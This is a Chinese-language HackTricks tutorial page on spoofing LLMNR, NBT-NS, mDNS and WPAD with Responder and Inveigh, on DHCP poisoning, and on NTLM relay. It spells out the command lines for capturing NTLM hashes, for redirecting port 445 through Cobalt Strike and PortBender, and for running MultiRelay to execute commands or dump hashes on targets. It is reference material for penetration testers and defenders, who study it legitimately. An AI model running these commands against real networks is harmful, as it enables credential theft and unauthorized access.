8.6 KiB
伪造 LLMNR、NBT-NS、mDNS/DNS 和 WPAD 以及中继攻击
从零开始学习 AWS 黑客技术,成为专家 htARTE(HackTricks AWS 红队专家)!
支持 HackTricks 的其他方式:
- 如果您想看到您的公司在 HackTricks 中做广告或下载 PDF 版本的 HackTricks,请查看订阅计划!
- 获取官方 PEASS & HackTricks 商品
- 探索PEASS 家族,我们的独家NFT收藏品
- 加入 💬 Discord 群组 或 电报群组 或在 Twitter 🐦 @hacktricks_live 上关注我们。
- 通过向 HackTricks 和 HackTricks Cloud github 仓库提交 PR 来分享您的黑客技巧。
网络协议
本地主机解析协议
- LLMNR、NBT-NS 和 mDNS:
- Microsoft 和其他操作系统在 DNS 失败时使用 LLMNR 和 NBT-NS 进行本地名称解析。同样,Apple 和 Linux 系统使用 mDNS。
- 由于它们在 UDP 上的未经身份验证的广播特性,这些协议容易受到拦截和伪造的影响。
- Responder 可以通过向查询这些协议的主机发送伪造响应来用于冒充服务。
- 可在此处找到有关使用 Responder 进行服务冒充的更多信息。
Web 代理自动发现协议(WPAD)
- WPAD 允许浏览器自动发现代理设置。
- 通过 DHCP、DNS 或在 DNS 失败时回退到 LLMNR 和 NBT-NS 来进行发现。
- Responder 可以自动执行 WPAD 攻击,将客户端重定向到恶意的 WPAD 服务器。
Responder 用于协议毒化
- Responder 是一种用于毒化 LLMNR、NBT-NS 和 mDNS 查询的工具,根据查询类型有选择性地进行响应,主要针对 SMB 服务。
- 它预装在 Kali Linux 中,可在
/etc/responder/Responder.conf
中进行配置。 - Responder 会在屏幕上显示捕获的哈希值,并将其保存在
/usr/share/responder/logs
目录中。 - 它支持 IPv4 和 IPv6。
- 可在此处获取 Responder 的 Windows 版本。
运行 Responder
- 使用默认设置运行 Responder:
responder -I <Interface>
- 进行更积极的探测(可能会产生副作用):
responder -I <Interface> -P -r -v
- 通过技术捕获 NTLMv1 挑战/响应以便更轻松地破解:
responder -I <Interface> --lm --disable-ess
- 可以通过以下方式激活 WPAD 冒充:
responder -I <Interface> --wpad
- NetBIOS 请求可以解析为攻击者的 IP,并可以设置身份验证代理:
responder.py -I <interface> -Pv
使用 Responder 进行 DHCP 毒化
- 伪造 DHCP 响应可以永久毒化受害者的路由信息,提供了比 ARP 毒化更隐蔽的替代方案。
- 需要精确了解目标网络的配置。
- 运行攻击:
./Responder.py -I eth0 -Pdv
- 该方法可以有效地捕获 NTLMv1/2 哈希,但需要小心处理以避免网络中断。
使用 Responder 捕获凭据
- Responder 将使用上述协议冒充服务,捕获凭据(通常是 NTLMv2 挑战/响应),当用户尝试对伪造的服务进行身份验证时。
- 可尝试降级到 NetNTLMv1 或禁用 ESS 以便更轻松地破解凭据。
需要强调的是,使用这些技术应该在合法和道德的前提下进行,确保获得适当的授权,避免造成干扰或未经授权的访问。
Inveigh
Inveigh 是专为 Windows 系统设计的渗透测试人员和红队人员工具。它提供类似于 Responder 的功能,执行伪造和中间人攻击。该工具已从 PowerShell 脚本发展为 C# 二进制文件,主要版本为 Inveigh 和 InveighZero。详细的参数和说明可以在wiki中找到。
Inveigh 可通过 PowerShell 运行:
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y
或者作为C#二进制文件执行:
Inveigh.exe
NTLM Relay Attack
这种攻击利用SMB身份验证会话访问目标机器,如果成功则授予系统shell。关键先决条件包括:
- 认证用户必须在中继主机上具有本地管理员访问权限。
- SMB签名应该被禁用。
445端口转发和隧道
在直接网络引入不可行的情况下,需要转发和隧道化445端口上的流量。像PortBender这样的工具有助于将端口445的流量重定向到另一个端口,在本地管理员访问用于驱动加载时至关重要。
在Cobalt Strike中设置和操作PortBender:
Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)
beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080
# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop
NTLM中继攻击的其他工具
- Metasploit:设置代理,本地和远程主机详细信息。
- smbrelayx:一个用于中继SMB会话并执行命令或部署后门的Python脚本。
- MultiRelay:Responder套件中的一个工具,用于中继特定用户或所有用户,执行命令或转储哈希。
每个工具都可以根据需要配置为通过SOCKS代理运行,即使只有间接网络访问也能进行攻击。
MultiRelay操作
从 /usr/share/responder/tools 目录执行MultiRelay,针对特定的IP或用户。
python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes
# Proxychains for routing traffic
强制 NTLM 登录
在 Windows 中,您可能能够强制一些特权帐户对任意机器进行身份验证。阅读以下页面以了解详情:
{% content-ref url="../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md" %} printers-spooler-service-abuse.md {% endcontent-ref %}
参考资料
- https://intrinium.com/smb-relay-attack-tutorial/
- https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/
- https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/
- https://intrinium.com/smb-relay-attack-tutorial/
- https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html
从零开始学习 AWS 黑客技术,成为专家 htARTE (HackTricks AWS Red Team Expert)!
支持 HackTricks 的其他方式:
- 如果您想在 HackTricks 中看到您的公司广告或下载 PDF 版本的 HackTricks,请查看订阅计划!
- 获取官方 PEASS & HackTricks 商品
- 探索PEASS 家族,我们独家的NFT收藏品
- 加入 💬 Discord 群组 或 电报群组 或在 Twitter 🐦 @hacktricks_live** 上关注我们**。
- 通过向 HackTricks 和 HackTricks Cloud github 仓库提交 PR 来分享您的黑客技巧。